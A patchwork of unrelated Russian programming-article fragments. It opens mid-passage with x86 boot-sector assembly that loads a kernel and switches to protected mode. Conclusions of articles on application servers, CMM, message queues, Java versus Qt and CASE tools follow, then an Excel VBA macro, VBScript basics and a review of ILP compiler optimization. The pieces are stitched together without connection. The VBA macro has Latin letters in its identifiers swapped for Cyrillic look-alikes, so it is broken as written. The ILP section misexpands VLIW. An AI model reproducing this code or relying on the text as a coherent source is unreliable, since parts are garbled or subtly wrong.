    read_track: pusha push es push ds mov di, #SYSSEG ; Определяем mov es, di ; адрес буфера для данных xor bx, bx mov ch, #START_TRACK ;дорожка 0 mov cl, #START_SECTOR ;начиная с сектора 2 mov dl, #FLOPPY_ID mov dh, #START_HEAD mov ah, #2 mov al, #SYSSIZE ;считать 10 секторов int 0x13 pop ds pop es popa ret Вот и все. Ядро успешно прочитано и можно вывести еще одно радостное сообщение на экран. next_work: call kill_motor ; останавливаем привод дисковода mov bp,#load_msg ; выводим сообщение mov cx,#4 call write_message Вот содержимое сообщения load_msg: .ascii "done" .byte 0 А вот функция остановки двигателя привода. kill_motor: push dx push ax mov dx,#0x3f2 xor al,al out dx,al pop ax pop dx ret На данный момент на экране выведено "Booting data ...done" и лампочка привода флоппи-дисков погашена. Все затихли и готовы к смертельному номеру - прыжку в защищенный режим. Для начала надо включить адресную линию A20. Это в точности означает, что мы будем использовать 32-разрядную адресацию к данным. mov al, #0xD1 ; команда записи для 8042 out #0x64, al mov al, #0xDF ; включить A20 out #0x60, al Выведем предупреждающее сообщение, о том, что переходим в защищенный режим. Пусть все знают, какие мы важные. protected_mode: mov bp,#loadp_msg mov cx,#25 call write_message (Сообщение: loadp_msg: .byte 13,10 .ascii "Go to protected mode..." .byte 0 ) Пока еще у нас жив BIOS, запомним позицию курсора и сохраним ее в известном месте ( 0000:0x8000 ). Ядро позже заберет все данные и будет их использовать для вывода на экран победного сообщения. save_cursor: mov ah,#0x03 ; читаем текущую позицию курсора xor bh,bh int 0x10 seg cs mov [0x8000],dx ;сохраняем в специальном тайнике Теперь внимание, запрещаем прерывания (нечего отвлекаться во время такой работы) и загружаем таблицу дескрипторов cli lgdt GDT_DESCRIPTOR ; загружаем описатель таблицы дескрипторов. У нас таблица дескрипторов состоит из трех описателей: Нулевой (всегда должен присутствовать), сегмента кода и сегмента данных .align 4 .word 0 GDT_DESCRIPTOR: .word 3 * 8 - 1 ; размер таблицы дескрипторов .long 0x600 + GDT ; местоположение таблицы дескрипторов .align 2 GDT: .long 0, 0 ; Номер 0: пустой дескриптор .word 0xFFFF, 0 ; Номер 8: дескриптор кода .byte 0, CODE_ARB, 0xC0, 0 .word 0xFFFF, 0 ; Номер 0x10: дескриптор данных .byte 0, DATA_ARB, 0xCF, 0 Переход в защищенный режим может происходить минимум двумя способами, но обе ОС , выбранные нами для примера (Linux и Thix) используют для совместимости с 286 процессором команду lmsw.Мы будем действовать тем же способом mov ax, #1 lmsw ax ; прощай реальный режим. Мы теперь находимся в защищенном режиме. jmpi 0x1000, 8 ; Затяжной прыжок на 32-разрядное ядро. Вот и вся работа загрузочного сектора - немало, но и немного. Теперь мы попрощаемся с ним и направимся к ядру. В конце ассемблерного файла полезно добавить следующую инструкцию. .org 511 end_boot: .byte 0 В результате скомпилированный код будет занимать ровно 512 байт, что очень удобно для подготовки образа загрузочного диска.

    в рамках статьи изложить все

    Конечно, в рамках статьи изложить все особенности продукта и технологии невозможно. Мы рассказали об архитектуре, затронули стратегические вопросы архитектуры клиент-сервер, и показали на примерах, как можно строить приложения различного типа при помощи достаточно необычного подхода к архитектуре клиент-сервер. Но лучше один раз увидеть, чем сто раз услышать. Компания Epsylon Technologies в то время, когда писалась статья, планировала выпустить 5 версий сервера Baikonur. Самый младший, Baikonur Free Web App Server, предназначается для бесплатного ознакомления с продуктом и представляет из себя полнофункциональный сервер, правда, с ограниченной нагрузочной способностью. Его можно без ограничений загрузить с корпоративного сервера компании Epsylon Technologies. Добро пожаловать в новые технологии!
    Автор не претендует на полноту изложения материала по проблеме конфигурационного управления. Данная статья — попытка показать, продемонстрировать мощные возможности как CMM, так и в их совместном использовании для улучшения качества выпускаемого ПО. В следующей части статьи будет более подробно рассказано о настройке и конфигурации программных продуктов , и в соответствии с Key Process Area. Также планируется осветить вопросы, присланные автору на В работе над статьей автор активно пользовался материалами с сайтов: (корпоративный сайт Rational) (сайт для клиентов Rational) (все материалы по CMM)


    Решения, обеспечивающие взаимодействие между распределенными компонентами в рамках одной прикладной системы, (например клиент-серверное решение от одного разработчика) чаще всего не обеспечивают взаимодействия между различными прикладными системами, особенно если это взаимодействие не было спланировано еще на этапе разработки. Именно в возможностях поддержки межсистемной интеграции заключается особая ценность систем передачи сообщений. Использование ПО, предоставляемого системами очередей сообщений в качестве асинхронного механизма для организации взаимодействия между программами позволяет создать унифицированную транспортную шину для транзакционных и информационных вычислительных систем различного масштаба. При создании информационной инфраструктуры в России с ее географической протяженностью и множеством часовых поясов весьма актуально, а порой жизненно необходимо использовать системы очередей сообщений.


    Мы сравнили две платформы: Java/AWT/Swing и C++/Qt, оценив их пригодность для эффективной разработки высокопроизводительных приложений с пользовательским графическим интерфейсом. В то время, как Java-платформа обеспечивает разработчикам сравнимую продуктивность программирования, платформа C++/Qt обеспечивает приложениям лучшую производительность и эффективность использования памяти. Также C++ выигрывает за счет более лучших средств разработки. Что касается сравнения GUI-библиотек, Swing и Qt, то видно, что более худшая производительность Java-программ делает платформу Java/Swing менее подходящей для разработки GUI-приложений, даже при сравнимом опыте программирования. В отличие от Swing, Qt не навязывает программисту парадигму программирования Model-View-Controller, поэтому в результате Qt-программы получаются более краткими. Независимое научное исследование и полученный практический опыт эксплуатации показывают, что предпочитаемость использования Java во многих случаях чаще всего неоправданна, а комбинация C++/Qt является более лучшей. Главными причинами этого являются более низкие производительность и эффективность использования памяти в Java (особенно при использовании инструментария Swing) при такой же обеспечиваемой продуктивности программирования. Во многих выполненных нами проектах начинающие программисты осваивали быстрее Java, более опытные и профессиональные разработчики (занимающиеся проектированием приложений и реализацией критичных участков программ) достигали быстрее лучших результатов с помощью C++. Java/Swing может подойти для разработки некоторых программ, особенно если они без GUI-интерфейса или с ограниченной GUI-функциональностью. В целом, C++/Qt является более лучшим решением, в особенности для разработки GUI-приложений.

    Для полноценного знакомства с продуктом Rapid Developer, конечно же, недостаточно прочитать одну или даже несколько статей. Статьи не могут заменить реальной работы с инструментарием.
    Поскольку Rapid Developer - совсем новый продукт и пока еще сложно найти разработчиков, имеющих достаточный опыт работы с ним хотя бы на некотором этапе отдельного проекта, специалистами компании было предпринято использование Rapid Developer в ряде небольших пилотных проектов.
    Проведенные испытания позволили более глубоко оценить возожности Rapid Developer и выявить следующие ключевые особенности этого продукта:
  • возможность визуальной разработки различных аспектов информационной системы, что напрямую приводит к ускорению процесса разработки и резкому снижению количества ошибок.
  • наличие единого рабочего пространства для информационных систем, использующих различные элементы технологии J2EE.
  • возможность быстрого развертывания информационной системы и ее тестирования в любой временной точке проекта.
  • возможность быстрого автоматического документирования разрабатываемой информационной системы.
  • хранение тестовых данных, предназначенных для заполнения проектируемых баз данных, прямо в проекте Rapid Developer.
  • возможность импорта существующих наработок из других источников.
  • огромные возможности организации взаимодействия с существующими распределенными системами, построенными по технологии J2EE.

  • Все это, вне всяких сомнений, значительно повышает ценность продукта и позволяет участникам проектов достичь главной цели - сделать процесс разработки более эффективным.


    Трудно описать такой инструмент, как SoDA, в рамках одной статьи - данный продукт очень тесно связан с технологиями RUP и UML (ссылка на: http://www.interface.ru/fset.asp?Url=/rational/umltend.htm). Но надеюсь, что это не помешало вам оценить мощь и обоснованность использования данного инструмента, даже основываясь на стандартных шаблонах отчетов. SoDA - гибко настраиваемый продукт, имеющий собственный механизм составления отчетов по любым проектным данным. А это значит, что менеджер проекта может всего один раз сформировать шаблоны отчетов, соответствующие внутренней политике компании, и впредь пользоваться только ими. О том, как конструировать комбинированные отчеты и соотносить технологии качества CMM с технологиями RUP, читайте во второй части статьи. Подробности о SoDA и ознакомительную версию продукта можно найти на компании Rational Software Corporation. Дополнительная информация Eсли вы хотите регулярно получать новости и ссылки на свежие статьи по Rational, Oracle, Microsoft, Inprise, системам автоматизации и т.д., советую подписаться на рассылку службы Subscribe.ru


    Мы рассмотрели основные черты средств активной отладки и мониторинга для распределенных систем реального времени, а также ошибки, характерные для РСРВ, и способы их обнаружения. Существующие активные отладчики играют важную роль в разработке ПО при поиске логических ошибок, предоставляя широкий набор средств, включающих поддержку исходных текстов, трассировку выполнения приложения, динамическую модификацию памяти, и.т.д. Однако они не позволяют выявлять специфические ошибки СРВ. Описанные в работе средства мониторинга имеют схожие методы сбора, обработки и представления отладочных данных. Благодаря им становится возможным локализовывать ошибки СРВ, связанные с планированием и синхронизацией. В случае РСРВ пока не существует общего подхода к отладке, поскольку ошибки, обусловленные связью, имеют разное проявление. В работе приведено описание некоторых способов отладки, позволяющих выявлять такие ошибки. Разработка универсальных методов отладки РСРВ - тема дальнейшего исследования.


    В заключении хочу сказать, что руководитель среднего программного проекта является ключевой фигурой. Изъятие его из проекта или замена будет иметь катастрофические последствия и может поставить крест на многих месяцах работы целого коллектива программистов. Во время реализации проекта его руководитель должен постоянно заниматься уточнением графика работы, контролем выполнения заданий и служить дополнительным «справочным пособием» к спецификации системы, которую реализуют программисты.

    Запуск Excel с поиском ячейки

    Q: Как запустить Excel, чтобы оказаться на ячейке  содержимое которой известно заранее? A:Вот как я решил бы твою задачу: ' Sub  GotoFixedCell:
    ' Делает активной ячейку, содержащую значение vVariant на
    ' рабочем листе sSheetName в активной рабочей книге.
    '
    ' Note: Содержимое ячеек интерпретируется как 'значение'!
    '
    Public Sub GotoFixedCell(vValue As Variant, sSheetName As String)
      Dim c As Range, cStart As Range, cForFind As Range
      Dim i As Integer   On Error GoTo errhandle:   Set cForFind = Worksheets(sSheetName).Cells   ' Диапазон поиска
         With cForFind
           Set c = .Find(What:=vValue, After:=ActiveCell, LookIn:=xlValues, _
                    LookAt:= xlРart, SearchOrder:=xlByRows,_
                    SearchDirection:=xlNext, MatchCase:=False)
           Set cStart = c
           While Not c Is Nothing
             Set c = .FindNext(c)
             If c.Address = cStart.Address Then
               c.Select
               Exit Sub
             End If
           Wend
         End With
      Exit Sub
      errНandle:
        MsgBox Err.Descriрtion, vbExclamation, "Error #" & Err.Number
    End Sub Нint: Достаточно выполнить этот код из макроса Auto_Oрen()! Нint: Протестировано и отлажено в Excel'97.

    ЗНАКОМСТВО С MICROSOFT COMMERCE SERVER

    В настоящее время среди специалистов, занимающихся автоматизацией предприятий малого и среднего бизнеса, наблюдается повышенный интерес к системам электронной коммерции (e-commerce). Под системами e-commerce понимают системы, функционирующие в среде Интернет и направленные на автоматизацию бизнес-процессов компании в сфере организации торговли товарами или услугами через глобальную сеть. Системы электронной коммерции условно подразделяют на системы ориентированные на конечного потребителя - business-to-customer и системы, регулирующие взаимоотношения с партнёрами по бизнесу (business-to-business), в число которых обычно входят дистрибьюторские торговые сети, склады, службы доставки и т. п. Новый продукт компании Microsoft, о котором пойдёт речь в этой статье, является инструментом для быстрого создания комплексных программных решений для электронной коммерции. Commerce Server (CS) содержит комплекс средств, для построения business-to-customer (B2C) и business-to-business (B2B) систем. С помощью CS можно разработать весь спектр основных подсистем, характерных для Web-проектов в области электронной коммерции:
  • электронную витрину с подробной информацией о предлагаемых товарах
  • базу данных с информацией о пользователях, с возможностями анализировать их предпочтения
  • систему обработки и размещения заказов
  • систему динамического создания персонализированных Web-страниц Commerce Server предлагает набор подсистем, выполненных с использованием единой технологии, имеющих похожий внешний прикладной программный интерфейс и объединённых в единое готовое интегрированное решение. Использовать CS можно только вместе с другими продуктами платформы Microsoft, в составе: MS Windows 2000 Server, MS SQL Server, MS Internet Information Server.

    Средства разработки приложений

    Функции и подпрограммы

    VBScript имеет набор встроенных функций, которые позволяют выполнять некоторые операции без подробного описания решаемой задачи. С помощью встроенных функций можно манипулировать числами, строками, значениями даты и времени, массивами. В состав VBScript также входят функции преобразования данных одного типа в другой. Например, VBScript обычно исходит из того, что число, допустим, 45, имеет тип "число", но при необходимости его можно рассматривать как данные строкового типа.
    VBScript предусматривает создание собственных функций пользователя (user-defined function, UDF) для выполнения каких-то специфических задач. Например:
    Function TestFunct TestFunct = Sqr(9) + 2 End Function Пользовательская функция TestFunct работает со встроенной функцией Sqr для извлечения квадратного корня из 9 и добавления к полученному результату 2. UDF, как и встроенная функция, может использовать аргументы.
    TestFunct UDF возвращает результат в основное тело программы. Подпрограмма выполняет некоторые действия, но ничего не возвращает в основной код в качестве результата. Программист может задействовать подпрограмму несколько раз, при необходимости использовать один и тот же участок кода, а повторно писать одно и то же лень. Подпрограмма
    Sub AskUserName WScript.Echo _ ''Please type a username.'' WScript.Quit End Sub использует возможности объекта WScript для вывода на экран некоторого сообщения, после чего завершает свою работу. Функции и подпрограммы могут задействовать значения переменных, декларированных внутри основного кода сценария, или же использовать собственные переменные.

    Элементы сценария

    Каждая строка сценария - это оператор, который сообщает компьютеру, что следует сделать. Исполняемые операторы обычно имеют форму типа "действие-объект": описываются само действие и тот объект, над которым действие совершается. Сценарий может содержать условия, при наличии которых указанные операторы должны быть выполнены. Хост сценария интерпретирует строки кода слева направо и сверху вниз, так что можно, например, получив некоторые данные в строке 10, использовать их в 30-й строке. Исключение составляют процедуры. Процедуры (функции и подпрограммы) - это набор операторов, которые выполняются только при явном обращении к ним. В данном случае процедура сразу же начинает выполняться независимо от того, из какого места кода было обращение.
    Исполняемые части сценария называются операторами. Неисполняемая часть сценария называется комментарием и должна предваряться апострофом (') или ключевым словом Rem. Например:
    Rem Это комментарий или
    ' Это комментарий Комментарий может занимать всю строчку целиком или быть частью строки, содержащей исполняемый код. Сценарий следует документировать, чтобы не участвующий в его написании человек (или даже незнакомый с лексикой его языка) смог легко понять, для чего сценарий предназначен. Иногда в целях отладки программы в начале исполняемой строки ставят признак комментария.
    VBScript "понимает" четыре типа данных: числа (number); строки (string); дата и время (date and time); булевы данные (boolean). Примеры чисел - скажем 2 или 9458. Строки - это любая комбинация символов, заключенная в двойные кавычки, например "рыба" и "Это строка %@#^>". Дата и время должны находиться внутри символов решетки (#) и выглядеть соответственно. Так, например, #16 January 1968# и #1/01/02 11:45 PM# - нормальные с точки зрения VBScript данные. Булевы данные - TRUE или FALSE, например x
    VBScript рассматривает перечисленные четыре типа данных как подмножество другого типа данных - variant, который может содержать данные любого вида. Таким образом, VBScript можно не сообщать, с данными какого типа вы работаете, но нужно иметь в виду, что некоторые задачи выполняются в Visual Basic (VB) и VBScript с описанными типами данных по-разному (правда, подобная ситуация может никогда и не встретиться). Группы однотипных данных называются массивами (array).

    Для простоты работы с данными VBScript поддерживает еще два типа данных, не имеющих никакого начального значения (null-данные), которые можно присваивать переменным (variable) и константам (constant) сценария. Значения переменных в ходе выполнения программы могут меняться, но их имена при этом остаются прежними. Константы при выполнении сценария имеют только одно значение и изменяться не могут.

    Передать данные в сценарий можно двумя способами. Во-первых, их в явном виде прописывают в теле программы. Например, ""\\bigserver\sharedfolder"" - обычное использование в сценарии строковых данных для обозначения пути. Другой способ - передать нужные данные во входном потоке в сценарий. Кроме того, по ходу обработки сценарий может самостоятельно генерировать данные (например, вычислить дату двумя неделями позднее текущей), а затем использовать их.

    Манипулировать данными можно с помощью операторов (operator) - символов, которые обычно применяются для обозначения математических функций. Какие-то операторы имеют более высокий приоритет, какие-то - более низкий, и это влияет на порядок вычисления выражений (expression). Выражение есть некоторое вычисление, в которое могут быть включены числа, переменные, строки, константы. В выражениях могут использоваться операторы. Например, выражение dInputDate + 2 = dNewDate означает, что к значению переменной dInputDate добавляется 2, и результат вычисления вновь присваивается переменной dNewDate.

    Объекты в сценарии

    Объект (Object) представляет собой физическую или логическую часть вычислительной среды, например дисковод или имя учетной записи. Конечно, можно программировать, не прибегая к объектам, но большинство сценариев управления работает с объектами. Если используется WSH, VBScript может обращаться к объектам, изначально присущим WSH, например, представляющим файлы, каталоги, части реестра; VBScript также поддерживает объекты Windows Management Instrumentation (WMI) и Active Directory Service Interfaces (ADSI). Объекты WMI связаны с физическими и логическими частями вычислительной системы: например, адресами IP, файловыми системами, сетевыми адаптерами. ADSI-объекты представляют ресурсы службы каталогов: в частности, Active Directory (AD) или иные поддерживаемые каталоги, скажем Windows NT 4.0 SAM. Статические группы объектов одинаковой природы называются классами, а группы, описываемые пользователем, - библиотеками.
    Объекты имеют свойства и методы. Объект определяется его свойствами (т. е. IP Address - это свойство объекта Network Card, а 12.4.21.197 - значение данного свойства). Методы - это действия, которые могут выполняться над объектом (Copy - один из методов объекта File). Не все объекты имеют методы. Свойства и методы используются при написании кода одинаково: сначала следует объект, затем ставится точка, далее название метода или свойства (например, ObjectName.PropertyName). Объекты могут содержать другие объекты. В частности, объект WSH WScript включает подчиненный объект WshArguments, который является набором аргументов, передаваемых при вызове файлу-сценарию. Для выделения первого элемента строки аргументов используется WScript.Arguments(0). Как было видно при обсуждении объектов WSH, формальное имя подчиненных объектов не совпадает с именем, используемым при обращении к ним в сценарии.
    В следующий раз я расскажу о том, как применять полученные знания при создании сценариев управления.
    Криста Андерсон - независимый автор и консультант журнала Windows NT Magazine. Ее последняя книга - "Mastering Local Area Networks". С ней можно связаться по адресу: .

    Почему именно сценарии?

    Программирование сценария занимает больше времени, чем однократное выполнение задачи вручную, - даже если за дело берется опытный специалист по программированию на VBScript, который знает проблему досконально. Если же вы не профессионал, то написание и отладка сценария займет куда больше времени, чем использование графического интерфейса. Так зачем же тогда привлекать сценарий?
    Основное назначение административных сценариев - автоматизация часто повторяющихся задач. Если администратор сталкивается с задачей, которую нужно выполнить более одного раза или же регулярно, как раз имеет смысл доверить ее решение сценарию. Очевидно, что в этом случае все подобные задачи будут решаться быстро и единообразно. Кроме того, написание сценариев позволит создать инструментарий администратора, не предусмотренный в графическом интерфейсе.
    Если с помощью GUI решить задачу непросто, то, может быть, стоит обратиться к утилитам командной строки, которые поставляются вместе с операционной системой или в составе Resource Kit? Желательно использовать данные утилиты всегда, когда в этом есть смысл. Но в Windows 2000 набор программ с графическим интерфейсом не соответствует в точности набору утилит командной строки, и некоторые утилиты могут не удовлетворять в полном объеме решаемой задаче. Пакетные файлы не всегда хорошо справляются с ситуацией, когда входной поток данных должен быть изменен. Кроме того, утилиты командной строки и сценарии не являются взаимоисключающими методами. Можно написать сценарии, основанные на применении утилит командной строки и при этом свободные от недостатков последних.

    Scripting Host

    Прежде чем перейти к созданию сценария, поясню некоторые термины. Зная, что скрывается за словами scripting host, легче понять, как это может повлиять на проект сценария, допустимо ли будет использовать в сценарии выражения и т. п.
    Scripting host (машина сценариев) - это операционная среда сценария. Windows не имеет понятия о VBScript: если в командной строке ввести строчку кода на VBScript, система выдаст сообщение об ошибке. Когда Windows сталкивается с файлом, расширение которого указывает на файл-сценарий, операционная система передает файл машине сценариев для интерпретации. Машина интерпретирует предложенный сценарий, а затем передает сообщения сценария (по сути - запрос на регистрацию данных) в операционную систему Windows для исполнения.
    Windows поддерживает две машины сценариев: Microsoft Internet Explorer (IE) и Windows Script Host (WSH). Выбор той или иной машины влияет на используемые в сценарии возможности. Если применяется WSH, как чаще всего и бывает, то в сценарии могут использоваться объекты WSH, но не IE, и наоборот. Машина сценария не обязана понимать содержание всех мыслимых сценариев; воспринимается только сценарий, написанный на языке машины, и тот, который ею поддерживается. Для WSH и IE "понятными" являются языки VBScript и JScript.

    Составление сценариев и их использование

    В этой статье я хотела бы пояснить, когда следует использовать механизмы сценариев, рассказать о некоторых базовых концепциях их составления, а также дать ряд практических советов (см. врезку ). Кроме того, я представлю код на VBScript, с помощью которого решается некая общая задача, и прокомментирую его. Выбор пал на VBScript, поскольку Windows поддерживает этот язык. Windows поддерживает и JScript, но в предыдущих номерах журнала, как правило, использовался VBScript, так что есть смысл сохранять преемственность.

    Советы по составлению сценариев

    В следующей статье будут приведены более конкретные советы по программированию на VBScript, а сейчас ограничимся общими правилами, которых нужно придерживаться всегда:
  • строки сценария должны быть короткими: они легче читаются. VBScript допускает использование знака подчеркивания для разрыва строки, а конструкция If ...Then ... Else поможет избавиться от нагромождения логики в одной строке;
  • не скупитесь на комментарии. Сейчас вы еще помните, зачем нужна данная строка кода. Но вспомните ли вы об этом через полгода? А другой человек - разберется ли он без посторонней помощи в чужом коде? Убедитесь, что логика кода исчерпывающе объясняется в комментариях;
  • смешивайте регистр написания кода. Переменная oDiskSpace читается легче, чем odiskspace или ODISKSPACE. VBScript в большинстве случаев не зависит от регистра (единственное исключение - вычисление значения ASCII-символа);
  • при работе с Windows Script Host (WSH) следует использовать среду командной строки (command-line environment). WSH может исполняться в двух средах - в среде командной строки и в графической среде (по умолчанию). В первом случае вывод направляется в командное окно, если только программист не перенаправит поток данных в другое место. В графической среде вывод поступает в окна сообщений. Чаще всего используется командная среда. Некоторые операции в графической среде не работают, и если несколько строк кода генерирует вывод, то для каждой из них понадобится свое окошко сообщений. В результате работа сценария будет приостанавливаться до тех пор, пока оператор не нажмет кнопку ОК. Для исполнения сценария в командной среде следует воспользоваться одним из двух способов: предварять каждую команду сценария вызовом cscript, например: cscript getfree.vbs либо установить среду командной строки в виде среды по умолчанию:
    wscript //h:cscript //s
  • присваивайте имена переменным в соответствии с типом представляемых данных (т. е. имена строковых переменных должны начинаться с s, объектных - с o). Подобная практика поможет при отладке кода. В ряде случаев при несоответствии типов данных объявленным переменным работа сценария будет протекать не так, как ожидается. А если тип данных ассоциируется с названием переменной, ошибки из-за несоответствия типов переменных и данных будут выявляться быстрее;
  • заранее и в явном виде описывайте переменные. Хотя переменные разрешено описывать неявно (просто присваивая им значения), их применение можно запретить. Для этого используйте утверждение Option Explicit в самом начале файла-сценария. С этого момента любая применяемая в коде программы переменная должна явно описываться оператором Dim, что позволит ограничить число ошибок из-за случайно или неверно набранных переменных;
  • пишите сценарии в текстовом редакторе. Не применяйте для этих целей текстовый процессор с последующим сохранением данных в редакторе. В сценариях часто используются кавычки, и, если текстовый процессор так или иначе преобразует их, сценарий просто не будет работать.


    Обзор методов оптимизации кода

    Обзор методов оптимизации кода для процессоров с поддержкой параллелизма на уровне команд Шумаков С.М.
  • Введение
  • Процессоры, способные одновременно и независимо выполнять несколько команд, обладают исключительно высоким потенциалом производительности и находят все более широкое применение. О процессорах такого типа говорят, что они поддерживают параллелизм на уровне команд (Instruction Level Parallelism, ILP). Далее для краткости они будут называться ILP-процессорами. Класс ILP-процессоров включает суперскалярные процессоры и процессоры с очень длинным командным словом (Very Large Instruction Word, VLIW), к числу которых относятся, в частности, многие модели цифровых процессоров обработки сигналов (ЦПОС).
    Важное преимущество ILP по сравнению с параллелизмом многопроцессорных архитектур заключается в том, что программный параллелизм на уровне команд извлекается (аппаратурой или компилятором) автоматически, без дополнительных усилий со стороны прикладных программистов, в то время как использование параллелизма многопроцессорных архитектур подразумевает переписывание приложений.
    Для реального использования высокой производительности ILP-процессоров необходимы компиляторы с языков высокого уровня, способные генерировать эффективный код. Применение одних лишь традиционных методов оптимизации кода оказывается совершенно недостаточным. Например, согласно [3] или [41], типичный компилятор для ЦПОС (поддерживающий только традиционные оптимизации) генерирует код, который по времени выполнения может уступать оптимальному в 5-10 и более раз.
    В течение последних лет прилагаются значительные усилия по разработке специальных методов оптимизации программ для ILP-процессоров, направленных на выявление и расширение программного параллелизма на уровне команд. Настоящая работа содержит обзор таких методов.
    В разделе 2 дается краткий обзор ILP-процессоров и их основных характеристик. Раздел 3 посвящен критериям оптимизации кода для ILP-процессоров. В разделе 4 представлена примерная схема работы компилятора, характеризуются основные задачи, связанные с оптимизацией кода для ILP-процессоров.
    В разделе 5 дается обзор способов формирования областей (фрагментов компилируемой программы), в рамках которых возможно эффективное распараллеливание. В разделе 6 описываются методы оптимизации, направленные на усиление внутреннего программного параллелизма в рамках выделенных областей. В разделе 7 рассматриваются методы распараллеливания кода в предварительно выделенных областях. Раздел 8 посвящен специфике оптимизации кода для ЦПОС. В разделе 9 приводится информация о языковых расширениях и их роли в увеличении эффективности процессоров. В заключении (раздел 10) представлены некоторые из актуальных нерешенных до настоящего время проблем оптимизации кода для ILP-процессоров.

  • ILP-платформы
  • Общие свойства ILP-процессоров - способность одновременно и независимо выполнять несколько операций и наличие нескольких функциональных устройств различных типов, таких как, например, устройство обмена с памятью, арифметическое устройство и др. В выполнении каждой команды участвует определенный набор функциональных устройств. Процессор может выполнять команды c1, ..., cn одновременно, если:

  • процессор имеет достаточно функциональных устройств для их совместного выполнения.


  • ни одна из команд ci не использует в качестве входных операндов результаты других команд c1, ..., cn;


  • ILP-процессоры могут различаться многими характеристиками, которые существенны с точки зрения применимости и эффективности рассматриваемых далее методов оптимизации. Данный раздел содержит краткий обзор типов ILP-процессоров и их свойств.

    Одним из исторически первых видов процессорного параллелизма был конвейерный параллелизм, основанный на том, что выполнение команды разбивалось на этапы, на каждом из которых использовались определенные функциональные устройства (рис. 1). Средства конвейеризации обеспечивали совмещенный режим выполнения команд, когда эти команды оказывались независимыми друг от друга. При этом разработчики стремились добиться того, чтобы среднее количество тактов на выполнение команд в конвейере равнялось 1, т.е.


    чтобы темп выдачи команд составлял одну команду на такт.

    Пусть исполнение команды состоит из 3-х этапов

    по 1 процессорному такту на каждый:

    1) чтение команды из памяти (Ч);

    2) декодирование (Д);

    3) исполнение (И).

    Последовательное исполнение команд
    Этапы Ч1 Д1 И1 Ч2 Д2 И2 Ч3 Д3 И3
    Такты ® 1 2 3 4 5 6 7 8 9
    Конвейерное исполнение команд
    Устройство чтения: Ч1 Ч2 Ч3 Ч4 Ч5 Ч6 Ч7
    Устройство декодирования: Д1 Д2 Д3 Д4 Д5 Д6 Д7
    Устройство исполнения: И1 И2 И3 И4 И5 И6 И7
    Такты ® 1 2 3 4 5 6 7 8 9
    Конвейерное суперскалярное исполнение команд
    Устройство чтения 1: Ч1 Ч2 Ч3 Ч4 Ч5 Ч6 Ч7
    Устройство декодирования 1: Д1 Д2 Д3 Д4 Д5 Д6 Д7
    Устройство исполнения 1: И1 И2 И3 И4 И5 И6 И7
    Устройство чтения 2: Ч1 Ч2 Ч3 Ч4 Ч5 Ч6 Ч7
    Устройство декодирования 2: Д1 Д2 Д3 Д4 Д5 Д6 Д7
    Устройство исполнения 2: И1 И2 И3 И4 И5 И6 И7
    Такты ® 1 2 3 4 5 6 7 8 9
    Рис. 1. Последовательное и параллельное исполнение команд

    Естественным развитием средств конвейерной обработки явились процессоры с множественной выдачей команд на исполнение (multiple issue processors) - суперскалярные и VLIW-процессоры. Суперскалярный процессор исполняет обычный последовательный код, но может выбирать в нем и выдавать на выполнение одновременно несколько команд - не более n, где n - темп выдачи команд данного процессора. Различаются суперскалярные процессоры с упорядоченной и неупорядоченной выдачей команд на исполнение. Процессор первого типа выдает команды на исполнение в точности в том порядке, в котором они закодированы в программе. На каждом такте на исполнение выдается от 1 до n очередных команд с учетом возможности их параллельного исполнения.


    Процессор второго типа анализирует команды в пределах некоторого "окна" - текущего фрагмента входной программы - выбирая в нем для выдачи на исполнение от 1 до n команд с учетом связей по данным и возможности параллельного исполнения.

    При разработке суперскалярных процессоров обычно преследуют цель обеспечить бинарную совместимость с предшествующими поколениями (скалярными или суперскалярными) данного модельного ряда процессоров (см. [51]). Суперскалярный процессор выполняет (без перекомпиляции) программный код для предшествующей модели, обеспечивая более высокую производительность.

    VLIW-процессоры отличаются от суперскалярных тем, что код для них организован в виде последовательности очень длинных командных слов, каждое из которых содержит несколько команд (операций). Забота о корректном заполнении командных слов возлагается на компилятор (или программиста, пишущего на ассемблере). VLIW-процессоры в целом производительнее суперскалярных, поскольку не тратят время на динамический анализ зависимостей по данным и функциональным устройствам во время выполнения программы. Однако реальная эффективность выполнения программы целиком зависит от качества кода, сгенерированного компилятором.

    Следует отметить, что и для суперскалярных процессоров применение ILP-оптимизаций при компиляции дает существенное повышение производительности (см. [55], [58]). Повышению эффективности исполнения на суперскалярных ЭВМ может способствовать также встраивание избыточной информации о программе, доступной во время компиляции и позволяющей процессору динамически производить дополнительные оптимизации. Пример применения этого подхода можно найти в [50].

    VLIW-процессор способен работать с большей эффективностью, чем суперскалярный, поскольку у него нет необходимости заниматься динамическим анализом кода. Суперскалярный процессор, тем не менее, превосходит его в качестве планирования команд, поскольку имеет больше информации. Так, при статическом анализе невозможно предсказать случаи непопадания в кэш при чтении из памяти, из-за чего при выполнении возможны простои, в то время как динамический планировщик в этом случае может запустить другие готовые к исполнению команды.


    Компилятор не имеет права поменять местами команду чтения из памяти с последующей командой записи в память, поскольку адрес записи, возможно, совпадает с адресом чтения. Динамическому планировщику эти адреса уже известны, следовательно, он обладает большей свободой переупорядочения команд. Еще одно преимущество суперскалярных процессоров заключается в поддержке механизма предсказания ветвлений (branch prediction) и выполнения по прогнозу ветвления (control speculation). Аппаратура выбирает направление ветвления исходя из частоты предыдущих ветвлений в этой точке и с упреждением исполняет команды из более вероятной ветви. Это дает ускорение, если прогноз был верен. При неверном прогнозе аппаратура аннулирует результаты упреждающих вычислений.

    Концепция явного параллелизма на уровне команд (EPIC - Explicitly Parallel Instruction Computing) возникла из стремления объединить преимущества двух типов архитектур. Идеология EPIC заключается в том, чтобы, с одной стороны, полностью возложить составление плана выполнения команд на компилятор, с другой стороны, предоставить необходимые аппаратные средства, позволяющие при статическом планировании на стадии компиляции использовать механизмы, подобные тем, которые применяются при динамическом планировании в суперскалярных архитектурах (см. [13]).

    В разд. 7.4 и 7.6 рассматриваются некоторые характерные для EPIC-архитектур аппаратные средства

  • поддержка упреждающего выполнения команд на основе прогноза направления ветвления (control speculation);


  • поддержка выполнения по прогнозу данных (data speculation);


  • поддержка условного выполнения (predicated execution)


  • и их использование при статическом планировании.

    С точки зрения применимости различных методов оптимизации существенно различие между VLIW-процессорами с регулярной и нерегулярной организацией командного слова. Последние отличаются тем, что на параллельно исполняемые инструкции налагаются дополнительные ограничения. В частности, для параллельно исполняемой инструкции могут допускаться в качестве операндов не все сочетания регистров или не все способы адресации, которые возможны в такой же инструкции, если параллельно с ней не закодированы другие инструкции.


